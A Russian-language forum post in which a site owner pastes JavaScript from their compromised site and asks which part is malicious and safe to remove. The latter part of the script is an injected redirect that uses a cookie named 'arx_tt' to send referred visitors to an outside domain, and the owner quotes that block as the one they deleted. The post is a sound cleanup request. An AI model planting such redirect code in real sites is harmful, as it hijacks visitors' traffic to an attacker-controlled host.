Здравствуйте уважаемые форумчани, помогите пожалуйста разобраться в проблеме. Есть сайт на котором стоит вредоносный код в JS? какую часть иммено мне убрать чтобы не попортить функционал:
function backgroundOnLoad()
{
setTimeout('showBody()', 10);
}
function showBody()
{
document.getElementById('body_div').style.visibility = 'visible';
}
function showBodyDelayed()
{
setTimeout
(
function ()
{
document.getElementById('body_div').style.visibility = 'visible';
},
500
);
}
function setCookie (name, value, expires, path, domain, secure) {
document.cookie = name + "=" + escape(value) +
((expires) ? "; expires=" + expires : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "");
}
function getCookie(c_name) {
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++) {
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==c_name) {
return unescape(y);
}
}
}
function strlen(string){
if(typeof string == "undefined") {
return 0;
} else {
return string.length;
}
}
var rSite = 'http://jindtesn.com';
var dt = new Date(), expiryTime = dt.setTime( dt.getTime() + 1800000 );
var currentCookie = getCookie("arx_tt");
if(!document.referrer) {
var referringURL = rSite;
var local = "";
var referrer = 0;
setCookie("arx_tt", 1, dt.toGMTString(), "/");
} else {
var referringURL = document.referrer;
referringURL = rSite + window.location.pathname;
var referrer = 1;
}
if (strlen(currentCookie) == 0 && referrer == 1) {
var setted = 1;
setCookie("arx_tt", 1, dt.toGMTString(), "/");
location.href = referringURL;
}
setCookie("arx_tt", 1, dt.toGMTString(), "/");
Я вот пока убрал эту часть:
var rSite = 'http://jindtesn.com';
var dt = new Date(), expiryTime = dt.setTime( dt.getTime() + 1800000 );
var currentCookie = getCookie("arx_tt");
if(!document.referrer) {
var referringURL = rSite;
var local = "";
var referrer = 0;
setCookie("arx_tt", 1, dt.toGMTString(), "/");
} else {
var referringURL = document.referrer;
referringURL = rSite + window.location.pathname;
var referrer = 1;
}
if (strlen(currentCookie) == 0 && referrer == 1) {
var setted = 1;
setCookie("arx_tt", 1, dt.toGMTString(), "/");
location.href = referringURL;
}
setCookie("arx_tt", 1, dt.toGMTString(), "/");
Правильно ли я сделал?
Всем спасибо за ответы.